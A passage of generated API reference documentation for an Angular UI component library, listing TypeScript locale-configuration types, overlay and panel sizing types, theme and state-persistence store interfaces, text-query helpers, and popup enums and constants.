    notificationCenter: KbqNotificationCenterLocaleConfiguration;
    popoverConfirm: KbqPopoverConfirmLocaleConfiguration;
    username: KbqUsernameLocaleConfiguration;
}
```

- `username`: `KbqUsernameLocaleConfiguration` — Strings of `kbq-username`, none of which it renders visibly.

##### KbqMeasurementSystemType (type)

Unit systems as union type

```ts
type KbqMeasurementSystemType = keyof typeof KbqMeasurementSystem;
```

##### KbqMultipleFileUploadLocaleConfiguration (interface)

```ts
interface KbqMultipleFileUploadLocaleConfiguration extends KbqBaseFileUploadLocaleConfiguration {
    captionTextWhenSelected: string;
    captionTextForCompactSize: string;
    title: string;
    captionText: string;
    captionTextOnlyFolder: string;
    captionTextWithFolder: string;
    browseLink: string;
    browseLinkFolder: string;
    browseLinkFolderMixed?: string;
}
```

##### KbqMultipleInput (type)

Values accepted by the `multiple` input of a selection list or tree.

`KbqEnumValues` accepts a mode either as a `MultipleMode` member or as the plain string a static
attribute delivers, and follows the enum on its own. The remaining literals are the boolean spellings a
static attribute delivers: `''` is what a bare `multiple` resolves to, `'true'` and `'false'` are what
`multiple="true"` and `multiple="false"` deliver.

Single selection is the default, so the way to ask for it is to leave the attribute off entirely.

```ts
type KbqMultipleInput = KbqEnumValues<MultipleMode> | 'true' | 'false' | '' | boolean | null | undefined;
```

##### KbqNavbarLocaleConfiguration (type)

Locale configuration for the `kbq-vertical-navbar` collapse toggle.

```ts
type KbqNavbarLocaleConfiguration = {
    toggle: {
        expand: string;
        collapse: string;
    };
};
```

- `toggle.expand`: `string` — Accessible name of the toggle while the navbar is collapsed.
- `toggle.collapse`: `string` — Accessible name of the toggle while the navbar is expanded.

##### KbqNotificationCenterLocaleConfiguration (type)

Locale configuration for `KbqNotificationCenterModule`.

```ts
type KbqNotificationCenterLocaleConfiguration = {
    notifications: string;
    remove: string;
    removeAll: string;
    doNotDisturb: string;
    showPopUpNotifications: string;
    noNotifications: string;
    failedToLoadNotifications: string;
    repeat: string;
    loadingMore: string;
    unread: string;
};
```

- `notifications`: `string` — Heading of the notification center.
- `remove`: `string` — Accessible name of a single notification's remove button.
- `removeAll`: `string` — Label of the action clearing every notification at once.
- `doNotDisturb`: `string` — Label of the "do not disturb" switch.
- `showPopUpNotifications`: `string` — Label of the "show pop-up notifications" switch.
- `noNotifications`: `string` — Message shown when there is nothing to display.
- `failedToLoadNotifications`: `string` — Message shown when loading the notifications failed.
- `repeat`: `string` — Label of the button retrying a failed load.
- `loadingMore`: `string` — Announced while the next page of notifications is loading.
- `unread`: `string` — Accessible name of the unread marker, which is otherwise conveyed by a dot alone.

##### KbqNumberFormatOptions (type)

Options for overriding locale-based number formatting

```ts
type KbqNumberFormatOptions = {
    viewGroupSeparator?: string;
};
```

- `viewGroupSeparator?`: `string` — Overrides the default group separator in the formatted output

##### KbqNumericPipe (interface)

Special contract between `KbqDecimalPipe` and `KbqTableNumberPipe`,
so they can be interchangeable in the cases of usage

```ts
interface KbqNumericPipe {
    transform(
        value: unknown,
        digitsInfo?: string,
        locale?: string
    ): string | null;
}
```

##### KbqOptionActionParent (interface)

Structural, so core doesn't depend on dropdown; nothing type-checks it against `KbqDropdownTrigger`.

```ts
interface KbqOptionActionParent {
    dropdownTrigger: { opened: boolean; restoreFocus: WritableSignal<boolean>; dropdownClosed: OutputRef<void>; lastDestroyReason: void | 'click' | 'keydown' | 'tab'; openedBy: Exclude<FocusOrigin, 'program' | null> | undefined; toggle(): void; };
    focus(): void;
}
```

##### KbqOrientation (type)

Defines component orientation.

```ts
type KbqOrientation = 'horizontal' | 'vertical';
```

##### KbqOverflowShadowSource (interface)

Source of scroll events and scroll metrics. Can be provided by a component that wraps
the scrollable element (e.g. `KbqScrollbar`) so that `KbqOverflowShadowContainer` does
not have to subscribe to the native `scroll` event directly.

```ts
interface KbqOverflowShadowSource {
    readonly onScroll: Observable<unknown>;
    getScrollElement(): HTMLElement | null;
}
```

- `onScroll`: `Observable<unknown>` — Emits whenever the wrapped element scrolls.
- `getScrollElement()`: `HTMLElement | null` — The element whose `scrollTop`/`clientHeight`/`scrollHeight` drive the shadows, or `null` if not ready yet.

##### KbqOverflowShadowState (interface)

Shadow visibility state — which of the two shadows should be rendered.

```ts
interface KbqOverflowShadowState {
    top: boolean;
    bottom: boolean;
}
```

- `top`: `boolean` — Whether the top (header) shadow should be visible — content is scrolled past the top.
- `bottom`: `boolean` — Whether the bottom (footer) shadow should be visible — more content remains below the fold.

##### KbqOverlayLayerOrigin (type)

Element an overlay is anchored to, or a getter read again on every attach of the overlay.

```ts
type KbqOverlayLayerOrigin = Element | (() => Element | null | undefined);
```

##### KbqOverlayLayers (interface)

Places overlays into the layer of the `KbqOverlayLayer` element their origin is in.

```ts
interface KbqOverlayLayers {
    adopt(overlayRef: OverlayRef, origin: KbqOverlayLayerOrigin): void;
}
```

- `adopt()`: `void` — Moves the overlay into the layer of the innermost `kbqOverlayLayer` element that contains `origin` and keeps it
  there on every attach. An overlay whose origin is outside every such element stays in the application-wide
  overlay container.

##### KbqOverlayOrigin (type)

Anything a connected overlay can be anchored to: an element, or a rectangle in viewport coordinates such as
the caret rectangle `kbqGetCaretRect` measures.

```ts
type KbqOverlayOrigin = ElementRef<HTMLElement> | HTMLElement | CdkOverlayOrigin | KbqCaretRect;
```

##### KbqPanelMaxHeight (type)

Maximum height of an overlay panel's scrollable content, in pixels. `null` falls back to the
`--kbq-select-panel-size-max-height` design token.

The cap covers the scrollable list only — a search field or a footer rendered beside it adds to the
panel's total height. With a `cdk-virtual-scroll-viewport` the value is an exact height rather than a
cap, because the viewport pins both its `min-height` and its `max-height` to the token.

```ts
type KbqPanelMaxHeight = number | null;
```

##### KbqPanelMaxWidth (type)

Maximum width of an overlay panel, in pixels. `null` falls back to the `--kbq-panel-size-width-max`
design token.

The cap is soft: it limits how far a panel grows with its content, but never makes a panel narrower
than its trigger, and never overrides an explicit `panelWidth`.

```ts
type KbqPanelMaxWidth = number | null;
```

##### KbqPanelMinWidth (type)

Minimum width of an overlay panel, in pixels. `null` applies no additional minimum.

```ts
type KbqPanelMinWidth = number | null;
```

##### KbqPanelWidth (type)

Width of an overlay panel.

- `'auto'` — matches the trigger width, but never narrower than `panelMinWidth`.
- `number` — an explicit width in pixels. `panelMinWidth` is not applied.
- `string` — an explicit CSS width (e.g. `fit-content`, `20rem`). `panelMinWidth` is not applied.
- `null`/`''` — the panel sizes to its content, but never narrower than the trigger or `panelMinWidth`.

```ts
type KbqPanelWidth = 'auto' | number | (string & {}) | null | '';
```

##### KbqParentPopup (interface)

```ts
interface KbqParentPopup {
    closedStream: Observable<boolean>;
}
```

##### KbqPartialLocaleData (type)

Locale data with every section — and every key within a section — optional.

```ts
type KbqPartialLocaleData = KbqDeepPartial<KbqLocaleData>;
```

##### KbqPopoverConfirmLocaleConfiguration (type)

Locale configuration for the `[kbqPopoverConfirm]` variant of `KbqPopoverModule`.

Unlike `KbqA11yLocaleConfiguration` these strings are displayed: they are the default question and
the default confirm-button caption of a confirmation popover.

```ts
type KbqPopoverConfirmLocaleConfiguration = {
    confirmText: string;
    confirmButtonText: string;
};
```

- `confirmText`: `string` — Question rendered in the body of the confirmation popover.
- `confirmButtonText`: `string` — Caption of the button that confirms the action.

##### KbqPopUpPlacementValues (type)

```ts
type KbqPopUpPlacementValues = KbqEnumValues<PopUpPlacements>;
```

##### KbqPopUpSizeValues (type)

```ts
type KbqPopUpSizeValues = KbqEnumValues<PopUpSizes>;
```

##### KbqPseudoCheckboxState (type)

```ts
type KbqPseudoCheckboxState = 'unchecked' | 'checked' | 'indeterminate' | boolean;
```

##### KbqScrollAxis (type)

Axis a scroll-overflow check applies to.

```ts
type KbqScrollAxis = 'horizontal' | 'vertical';
```

##### KbqSearchExpandableLocaleConfiguration (type)

Locale configuration for `KbqSearchExpandableModule`.

```ts
type KbqSearchExpandableLocaleConfiguration = {
    tooltip: string;
    placeholder: string;
};
```

- `tooltip`: `string` — Accessible name and tooltip of the collapsed search trigger.
- `placeholder`: `string` — Placeholder of the expanded search field.

##### KbqSelectAllAdapter (interface)

Adapter describing how a component reads and writes selection state for a set of items,
so the shared select-all logic can operate regardless of how selection is stored
(per-option setter, `SelectionModel` on data nodes, etc.).

```ts
interface KbqSelectAllAdapter<T> {
    items: readonly T[];
    isSelectable: (item: T) => boolean;
    isSelected: (item: T) => boolean;
    setSelected: (item: T, selected: boolean) => void;
}
```

- `items`: `readonly T[]` — All candidate items, in render/model order.
- `isSelectable`: `(item: T) => boolean` — Whether the item may participate (e.g. not disabled, and — for tree — `selectable()`).
- `isSelected`: `(item: T) => boolean` — Current selected state of the item.
- `setSelected`: `(item: T, selected: boolean) => void` — Applies the new selected state to the item. Must be idempotent — a no-op, with no further side
  effects (no emitted events, no notifications) — when `selected` already matches the item's current
  state: `toggleSelectAll` calls this for every selectable item, not just the ones whose state
  actually changes, and relies on implementations to absorb the redundant calls silently.

##### KbqSelectLocaleConfiguration (type)

Locale configuration shared by the components that render a "select all" row: `hiddenItemsText` is read
by `KbqSelectModule` (`kbq-select`) only, while `selectAll` is read by `KbqSelectModule`, by
`KbqTreeModule` (`kbq-tree-selection`, including standalone usage outside `KbqTreeSelectModule`) and by
`KbqListModule` (`kbq-list-selection`).

```ts
type KbqSelectLocaleConfiguration = {
    hiddenItemsText: string;
    selectAll: string;
};
```

- `hiddenItemsText`: `string` — Counter of the selected values that did not fit into the trigger. Supports the `{{ number }}` placeholder.
- `selectAll`: `string` — Label of the "select all" master checkbox rendered by the `selectAll` input.

##### KbqShadowDomOverlayHost (type)

Reference to the element used to locate the shadow root that should host the CDK overlay container.

It can be the shadow host element itself (the common case — the MFE root element) or any element that already
lives inside the shadow tree. Provide it directly, as an `ElementRef`, or as a getter (useful when the element is
created after the providers are declared, e.g. resolved lazily at bootstrap).

```ts
type KbqShadowDomOverlayHost = HTMLElement | ElementRef<HTMLElement> | (() => Element | null | undefined);
```

##### KbqSiblingPopup (interface)

Contract of a pop-up anchored to the same element as a tooltip — a popover, a dropdown, a select and so on.

A tooltip sharing its host with such a pop-up mutes itself while the pop-up is on screen, so the two never
compete for the same anchor and the focus restored by the closing pop-up does not re-open the tooltip.

```ts
interface KbqSiblingPopup {
    readonly isAttached: boolean;
    readonly openedChange: Observable<boolean>;
}
```

- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached. Unlike a visibility flag it must flip synchronously,
  both when the overlay is attached and when it is detached.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes.

##### KbqSizeUnitsConfig (type)

Deprecated: Use `KbqSizeUnitsLocaleConfiguration`. Will be removed in 22.0.0.

```ts
type KbqSizeUnitsConfig = KbqSizeUnitsLocaleConfiguration;
```

##### KbqSizeUnitsLocaleConfiguration (interface)

Configuration for file size formatting options.
Defines the default unit system, precision, and available unit systems.

```ts
interface KbqSizeUnitsLocaleConfiguration {
    defaultUnitSystem: KbqMeasurementSystemType;
    defaultPrecision: number;
    unitSystems: { [KbqMeasurementSystem.SI]: KbqUnitSystem; [KbqMeasurementSystem.IEC]: KbqUnitSystem; };
}
```

- `defaultUnitSystem`: `KbqMeasurementSystemType` — Default unit system to use, one of `KbqMeasurementSystem` (e.g., 'SI' or 'IEC').
- `defaultPrecision`: `number` — Default number of decimal places to display in formatted output: with `2`, "1.23 KB".
- `unitSystems`: `{ [KbqMeasurementSystem.SI]: KbqUnitSystem; [KbqMeasurementSystem.IEC]: KbqUnitSystem; }` — Unit systems by `KbqMeasurementSystem`.

##### KbqStateSavingKeyResolver (type)

Produces the storage key for a component that persists state without being given a `stateSavingKey`.

Returning an empty string means "this host cannot be identified": the component then persists
nothing rather than writing under a key a later load would not reproduce.

```ts
type KbqStateSavingKeyResolver = (host: Element | null) => string;
```

##### KbqStateSavingRef (interface)

Something that persists state, as `KbqStateSavingService` reports it.

Every `KbqStateSaving` directive satisfies this and registers itself, so the service sees a component
even when it was given its own `KBQ_STATE_STORE` — one the root store knows nothing about. A service
that persists on behalf of something with no host element registers one of these too, and reports a
`null` host; `KbqSidepanelService` does, for a sidepanel that is closed when its entry matters.

```ts
interface KbqStateSavingRef {
    readonly name: string;
    readonly key: string;
    readonly enabled: boolean;
    readonly state: unknown;
    readonly host: Element | null;
    clear(): void;
}
```

- `name`: `string` — How the owner is named in dev-mode warnings — a tag name for a component.
- `key`: `string` — The key the state is persisted under. Empty until the component has read, and for a host no key
  could be derived from.
- `enabled`: `boolean` — Whether this component persists — its own `useStateSaving`, not the service-wide switch.
- `state`: `unknown` — The state it last read or wrote, or `null`. Raw, in the shape the component persists.
- `host`: `Element | null` — The host element, for locating the component on the page.
- `clear()`: `void` — Removes this component's persisted state, through its own store.

##### KbqStateStore (interface)

Strategy used to persist component state across reloads.

Payloads are opaque: a store moves them, it never interprets them. A read is typed `unknown` on
purpose — web storage is origin-wide and user-writable, so the consumer has to normalize whatever
comes back (see the `normalize` callback of `KbqStateSaving.read()`).

Provide a custom implementation through the `KBQ_STATE_STORE` token to change where the state is
stored. To keep it for the tab session only, provide the bundled `KbqSessionStorageStateStore`
instead of writing one.

**Every method is synchronous.** A component reads once while it initializes and cannot wait, so a
store that returns a promise restores nothing — the payload reaches `normalize` unresolved and is
rejected (dev mode warns about it). To back the state with a server, load it before the application
renders — `provideAppInitializer` — and serve it from memory here.

```ts
interface KbqStateStore {
    changes?: Observable<void>;
    getState(key: string): unknown;
    setState(key: string, state: unknown): void;
    removeState(key: string): void;
    keys?(): string[];
}
```

- `changes?`: `Observable<void>` — Optional. Emits whenever entries change outside this instance — the same app open in another tab,
  most commonly. `KbqStateSavingService` re-emits it, so a panel listing the entries can refresh.
  Leave it out when the storage has no way to report that.
- `getState()`: `unknown` — Returns the raw persisted payload for the key, or `null` when nothing is stored/available.
- `setState()`: `void` — Persists the payload under the key. It has to be JSON-serializable.
- `removeState()`: `void` — Removes the payload persisted under the key.
- `keys?()`: `string[]` — Optional. Every key this store currently holds.

  `KbqStateSavingService` needs it to report the entries no live component claims. Leave it out when
  the storage cannot be enumerated, and the service reports the live components alone.

##### KbqStickToWindowPlacementValues (type)

```ts
type KbqStickToWindowPlacementValues = KbqEnumValues<
    PopUpPlacements.Top | PopUpPlacements.Right | PopUpPlacements.Bottom | PopUpPlacements.Left
>;
```

##### KbqTextAnchor (type)

Anything the caret helpers can measure: a text field, or an element the user edits directly.

```ts
type KbqTextAnchor = HTMLInputElement | HTMLTextAreaElement | HTMLElement;
```

##### KbqTextMirror (interface)

Layer that renders text over a text field in the field's own layout.

```ts
interface KbqTextMirror {
    update(before: string, hint: string, after: string): boolean;
    hide(): void;
    destroy(): void;
}
```

- `update()`: `boolean` — Shows `hint` exactly where the field would render it between `before` and `after`. Both of those stay
  transparent: they only take the room the field's own text takes, so the field stays readable through the layer.

  Returns whether the hint is shown where it belongs: on the row the text before it ends on, and inside the part
  of the field the user can see. A hint that is not is hidden again.
- `hide()`: `void` — Hides the layer until the next `update`.
- `destroy()`: `void` — Removes the layer.

##### KbqTextQuery (interface)

Part of a text field's value that is being completed: the query right before the caret.

```ts
interface KbqTextQuery {
    start: number;
    end: number;
    text: string;
    trigger: string | null;
}
```

- `start`: `number` — Index the query starts at, including its trigger character. Replacing the query starts here.
- `end`: `number` — Index the query ends at — the caret.
- `text`: `string` — Text to match the options against, without the trigger character.
- `trigger`: `string | null` — Trigger the query starts with, or `null` when the query is the word before the caret.

##### KbqTextQueryOptions (interface)

Options of `kbqGetTextQuery`.

```ts
interface KbqTextQueryOptions {
    triggers?: readonly string[];
    minLength?: number;
}
```

- `triggers?`: `readonly string[]` — Strings that start a query, such as `/` for commands or `@` for mentions. When empty, the word before the
  caret is the query.
- `minLength?`: `number` — Shortest query that counts. Defaults to `1` for a word and to `0` after a trigger.

##### KbqThemeColorScheme (type)

Light/dark polarity of a `KbqThemeConfig`. Drives `mode()` resolution and is the strictly-typed value
to reach for when something (e.g. CSS `light-dark()`) needs to know which of the two is active.

```ts
type KbqThemeColorScheme = 'light' | 'dark';
```

##### KbqThemeConfig (interface)

A theme registered with `KbqThemeService`, resolved by `mode()` via its required `colorScheme`.

```ts
interface KbqThemeConfig {
    name: string;
    className: string;
    colorScheme: KbqThemeColorScheme;
}
```

- `className`: `string` — CSS class applied to the document body when this theme is active.

##### KbqThemeMode (type)

Selection understood by `KbqThemeService`. The only way to select a theme — see `setMode()`.

```ts
type KbqThemeMode = 'auto' | KbqThemeColorScheme;
```

##### KbqThemeSettings (interface)

Settings accepted by `KBQ_THEME_CONFIG` / `kbqThemeProvider()`.

```ts
interface KbqThemeSettings<T extends KbqThemeConfig = KbqThemeConfig> {
    themes: T[];
    mode: KbqThemeMode;
    theme: string | null;
    storageKey: string;
}
```

- `themes`: `T[]` — Themes available to the service. Defaults to `KBQ_DEFAULT_THEMES`.
- `mode`: `KbqThemeMode` — Initial mode, used only when nothing is persisted yet in the `KBQ_THEME_STORE`. Defaults to `'auto'`.
- `theme`: `string | null` — Name of the theme pinned initially, overriding `mode` resolution — see `KbqThemeService.staticTheme`.
  Used only when nothing is persisted yet in the `KBQ_THEME_STORE` — a `KbqThemeStore` reads a pin the
  user cleared and one that was never set back the same way, so a persisted mode is what tells the two
  apart. Clearing the pin through `selectTheme(null)` without ever calling `setMode()` leaves nothing
  persisted, and this theme applies again on the next load. Defaults to `null`.
- `storageKey`: `string` — Key used to persist the selection — a `localStorage` key or cookie name, depending on `KBQ_THEME_STORE`.
  Defaults to `'kbq-theme-mode'`.

##### KbqThemeStore (interface)

Strategy used by `KbqThemeService` to persist and restore `mode()`.

Provide a custom implementation through the `KBQ_THEME_STORE` token to change where it's stored
(e.g. `sessionStorage`, a backend), or to disable persistence entirely.

```ts
interface KbqThemeStore {
    changes?: Observable<void>;
    getMode(): KbqThemeMode | null;
    setMode(mode: KbqThemeMode): void;
    getStaticTheme(): string | null;
    setStaticTheme(name: string | null): void;
}
```

- `changes?`: `Observable<void>` — Optional. Emits whenever the stored values change outside this instance — the same app open in
  another tab, most commonly. `KbqThemeService` re-reads the store on every emission, so a theme
  switched in one tab reaches the others. Leave it out when the storage has no way to report that.
- `getMode()`: `KbqThemeMode | null` — Returns the previously saved mode, or `null` when nothing is stored/available. Raw value only —
  applying `KbqThemeSettings.mode` as the default for a `null`/invalid result is the caller's job
  (see `KbqThemeService`'s `readMode()`), not this method's.
- `setMode()`: `void` — Persists the mode.
- `getStaticTheme()`: `string | null` — Returns the previously saved static theme name, or `null` when nothing is available.
  Raw value only — applying `KbqThemeSettings.theme` as the default is the caller's job, not this method's.
- `setStaticTheme()`: `void` — Persists the static theme name, or clears it when `null`.

##### KbqTimepickerLocaleConfiguration (type)

Locale configuration for `KbqTimepickerModule`.

```ts
type KbqTimepickerLocaleConfiguration = {
    placeholder: {
        full: string;
        short: string;
    };
};
```

- `placeholder`: `{ full: string; short: string; }` — Placeholders keyed by the time format rendered by the input.
- `placeholder.full`: `string` — Placeholder for the `HH:mm:ss` format.
- `placeholder.short`: `string` — Placeholder for the `HH:mm` format.

##### KbqTimeRangeLocaleConfiguration (type)

Locale configuration for `KbqTimeRange`

```ts
type KbqTimeRangeLocaleConfiguration = {
    title: {
        placeholder: string;
    };
    editor: {
        from: string;
        to: string;
        apply: string;
        cancel: string;
        rangeLabel: string;
        outOfBoundsError: string;
        allTime: string;
        currentQuarter: string;
        currentYear: string;
        allTimeOption?: string;
        currentQuarterOption?: string;
        currentYearOption?: string;
    };
    durationTemplate: {
        title: FormatterDurationTemplate;
        option: FormatterDurationTemplate;
    };
};
```

- `editor.outOfBoundsError`: `string` — Reported when both ends of the range leave `minDate`/`maxDate`. Supports the `{{ value }}` placeholder.
- `editor.allTimeOption?`: `string` — Label for the `allTime` option in the presets list, as opposed to the trigger label in `allTime`
- `editor.currentQuarterOption?`: `string` — Label for the `currentQuarter` option in the presets list, as opposed to the trigger label in `currentQuarter`
- `editor.currentYearOption?`: `string` — Label for the `currentYear` option in the presets list, as opposed to the trigger label in `currentYear`

##### KbqTimezoneLike (type)

Time zone the library renders dates in.

Accepts an IANA name (`'Europe/Moscow'`), a fixed offset — in minutes east of UTC (`180`) or as a
string (`'+03:00'`, `'UTC+3'`, `'03:00:00'`) — `'utc'`, or `'system'` for the zone of the host the code
runs on.

The `string & {}` arm keeps IANA names open while still offering the special values as completions.

```ts
type KbqTimezoneLike = 'system' | 'utc' | number | (string & {});
```

##### KbqTimezoneLocaleConfiguration (type)

Locale configuration for `KbqTimezoneModule`.

```ts
type KbqTimezoneLocaleConfiguration = {
    searchPlaceholder: string;
    otherCountriesLabel: string;
};
```

- `searchPlaceholder`: `string` — Placeholder of the search field inside the timezone select.
- `otherCountriesLabel`: `string` — Label of the group that holds every country other than the promoted one.

##### KbqTitleTextRef (interface)

```ts
interface KbqTitleTextRef {
    textElement?: ElementRef;
    parentTextElement?: ElementRef;
}
```

##### KbqToggleSelectAllOptions (interface)

Options for `toggleSelectAll`.

```ts
interface KbqToggleSelectAllOptions {
    allowDeselect?: boolean;
}
```

- `allowDeselect?`: `boolean` — When `true`, a repeated toggle deselects everything once all selectable items are already
  selected. When `false` (default), the toggle only ever selects.

##### KbqUnitSystem (interface)

```ts
interface KbqUnitSystem {
    abbreviations: string[];
    base: number;
    power: number;
}
```

##### KbqUsernameLocaleConfiguration (type)

Locale configuration for `KbqUsernameModule`.

The site is rendered as a bare `(corp)` parenthetical, so its meaning is carried by punctuation
alone; `siteLabel` is the visually hidden word that names it for assistive tech.

```ts
type KbqUsernameLocaleConfiguration = {
    siteLabel: string;
};
```

- `siteLabel`: `string` — Word naming the site hint, e.g. `site`. Never displayed.

##### KeyboardNavigationHandler (interface)

Handler that will update scroll position of elements inside overlay

```ts
interface KeyboardNavigationHandler {
    scrollActiveOptionIntoView(): void;
}
```

- `scrollActiveOptionIntoView()`: `void` — Scrolls the active option into view.

##### ListKeyManagerModifierKey (type)

Modifier keys handled by the ListKeyManager.

```ts
type ListKeyManagerModifierKey = 'altKey' | 'ctrlKey' | 'metaKey' | 'shiftKey';
```

##### ListKeyManagerOption (interface)

```ts
interface ListKeyManagerOption {
    disabled?: boolean | Signal<boolean>;
    getLabel?(): string;
}
```

- `disabled?`: `boolean | Signal<boolean>` — Whether the option is disabled. A signal lets an option expose `disabled` as an `input()`.

#### Enums

##### KbqComponentColors (enum)

```ts
enum KbqComponentColors {
    Theme = 'theme',
    ThemeFade = 'theme-fade',
    Contrast = 'contrast',
    ContrastFade = 'contrast-fade',
    Error = 'error',
    Warning = 'warning',
    Success = 'success',
    Default = 'contrast',
    Empty = 'empty'
}
```

##### KbqMeasurementSystem (enum)

Available unit systems for file size formatting.
- SI (Metric): 1 KB = 1000 bytes
- IEC (Binary): 1 KiB = 1024 bytes

```ts
enum KbqMeasurementSystem {
    SI = 'SI',
    IEC = 'IEC'
}
```

##### KbqThemeNames (enum)

Theme names for `KBQ_DEFAULT_THEMES`, the built-in light/dark theme set.

```ts
enum KbqThemeNames {
    Light = 'light',
    Dark = 'dark'
}
```

- `Light`: `'light'` — Name for the built-in light theme.
- `Dark`: `'dark'` — Name for the built-in dark theme.

##### KbqThemeSelector (enum)

CSS class names for `KBQ_DEFAULT_THEMES`, the built-in light/dark theme set.

```ts
enum KbqThemeSelector {
    Light = 'kbq-light',
    Dark = 'kbq-dark'
}
```

- `Light`: `'kbq-light'` — Class for the built-in light theme.
- `Dark`: `'kbq-dark'` — Class for the built-in dark theme.

##### MultipleMode (enum)

```ts
enum MultipleMode {
    CHECKBOX = 'checkbox',
    KEYBOARD = 'keyboard'
}
```

##### PopUpPlacements (enum)

```ts
enum PopUpPlacements {
    Top = 'top',
    TopLeft = 'topLeft',
    TopRight = 'topRight',
    Right = 'right',
    RightTop = 'rightTop',
    RightBottom = 'rightBottom',
    Left = 'left',
    LeftTop = 'leftTop',
    LeftBottom = 'leftBottom',
    Bottom = 'bottom',
    BottomLeft = 'bottomLeft',
    BottomRight = 'bottomRight'
}
```

##### PopUpSizes (enum)

```ts
enum PopUpSizes {
    Small = 'small',
    Medium = 'medium',
    Large = 'large',
    Custom = 'custom'
}
```

##### PopUpTriggers (enum)

```ts
enum PopUpTriggers {
    Click = 'click',
    Focus = 'focus',
    Hover = 'hover',
    Keydown = 'keydown',
    Program = 'program'
}
```

##### PopUpVisibility (enum)

```ts
enum PopUpVisibility {
    Initial = 'initial',
    Visible = 'visible',
    Hidden = 'hidden'
}
```

#### Constants

##### applyPopupMargins (const)

```ts
const applyPopupMargins: (renderer: Renderer2, element: HTMLElement, name: string, value: string) => void;
```

##### defaultOffsetY (const)

Default value when configuring overlay in popups (Autocomplete, Datepicker, Dropdown, Select, Tags Autocomplete,
Tags Input, Timezone, TreeSelect).

```ts
const defaultOffsetY: number;
```

##### enUSFormattersData (const)

```ts
const enUSFormattersData: {
    formatters: {
        number: {
            rounding: {
                separator: string;
                groupSeparator: string;
                thousand: string;
                million: string;
                billion: string;
                trillion: string;
            };
        };
    };
    input: {
        number: {
            groupSeparator: string[];
            fractionSeparator: string;
        };
    };
    sizeUnits: {
        defaultUnitSystem: "SI";
        defaultPrecision: number;
        unitSystems: {
            SI: {
                abbreviations: string[];
                base: number;
                power: number;
            };
            IEC: {
                abbreviations: string[];
                base: number;
                power: number;
            };
        };
    };
};
```

##### enUSLocaleData (const)

```ts
const enUSLocaleData: {
    a11y: {
        close: string;
        save: string;
        saving: string;
        saveFailed: string;
        cancel: string;
        edit: string;
        removeAll: string;
        remove: string;
        breadcrumbs: string;
        expandBreadcrumbs: string;
        previousMonth: string;
        currentDate: string;
        nextMonth: string;
        clear: string;
        showPassword: string;
        hidePassword: string;
        resizeColumns: string;
        resizePanels: string;
        toastRegion: string;
        optionActions: string;
        progressBar: string;
    };
    select: {
        hiddenItemsText: string;
        selectAll: string;
    };
    datepicker: {
        placeholder: string;
        dateInput: string;
    };
    timepicker: {
        placeholder: {
            full: string;
            short: string;
        };
    };
    fileUpload: {
        a11y: {
            fileAdded: string;
            fileRemoved: string;
            filesNotAdded: string;
        };
        single: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
        };
        multiple: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            captionTextWhenSelected: string;
            captionTextForCompactSize: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
            title: string;
        };
    };
    codeBlock: {
        softWrapOnTooltip: string;
        softWrapOffTooltip: string;
        downloadTooltip: string;
        copiedTooltip: string;
        copyTooltip: string;
        viewAllText: string;
        viewLessText: string;
        openExternalSystemTooltip: string;
    };
    timezone: {
        searchPlaceholder: string;
        otherCountriesLabel: string;
    };
    actionsPanel: {
        closeTooltip: string;
    };
    filterBar: {
        reset: {
            buttonName: string;
        };
        search: {
            tooltip: string;
            placeholder: string;
        };
        filters: {
            defaultName: string;
            saveNewFilterTooltip: string;
            searchPlaceholder: string;
            searchEmptyResult: string;
            saveAsNewFilter: string;
            saveChangesHeader: string;
            saveChangesButton: string;
            saveAsNewHeader: string;
            saveAsNewButton: string;
            change: string;
            resetChanges: string;
            remove: string;
            errorHint: string;
            saveButton: string;
            cancelButton: string;
            actionsTooltip: string;
        };
        add: {
            tooltip: string;
            addedAnnouncement: string;
        };
        refresher: {
            refresh: string;
            settings: string;
        };
        pipe: {
            clearButtonTooltip: string;
            removeButtonTooltip: string;
            applyButton: string;
            emptySearchResult: string;
            selectAll: string;
            noOptions: string;
        };
        datePipe: {
            customPeriod: string;
            customPeriodFrom: string;
            customPeriodTo: string;
            customPeriodErrorHint: string;
            customPeriodMinIntervalErrorHint: string;
            customPeriodMaxIntervalErrorHint: string;
            backToPeriodSelection: string;
        };
    };
    clampedText: {
        openText: string;
        closeText: string;
        showMoreText: string;
        moreText: string;
    };
    navbar: {
        toggle: {
            expand: string;
            collapse: string;
        };
    };
    searchExpandable: {
        tooltip: string;
        placeholder: string;
    };
    appSwitcher: {
        searchPlaceholder: string;
        searchEmptyResult: string;
        sitesHeader: string;
        clearSearch: string;
    };
    username: {
        siteLabel: string;
    };
    popoverConfirm: {
        confirmText: string;
        confirmButtonText: string;
    };
    timeRange: {
        title: {
            placeholder: string;
        };
        editor: {
            from: string;
            to: string;
            apply: string;
            cancel: string;
            rangeLabel: string;
            outOfBoundsError: string;
            allTime: string;
            currentQuarter: string;
            currentYear: string;
            allTimeOption: string;
            currentQuarterOption: string;
            currentYearOption: string;
        };
        durationTemplate: {
            title: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
            option: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
        };
    };
    notificationCenter: {
        notifications: string;
        remove: string;
        removeAll: string;
        doNotDisturb: string;
        showPopUpNotifications: string;
        noNotifications: string;
        failedToLoadNotifications: string;
        repeat: string;
        loadingMore: string;
        unread: string;
    };
};
```

##### esLAFormattersData (const)

```ts
const esLAFormattersData: {
    formatters: {
        number: {
            rounding: {
                separator: string;
                groupSeparator: string;
                thousand: string;
                million: string;
                billion: string;
                trillion: string;
            };
            decimal: {
                viewGroupSeparator: string;
            };
        };
    };
    input: {
        number: {
            groupSeparator: string[];
            fractionSeparator: string;
            viewGroupSeparator: string;
        };
    };
    sizeUnits: {
        defaultUnitSystem: "SI";
        defaultPrecision: number;
        unitSystems: {
            SI: {
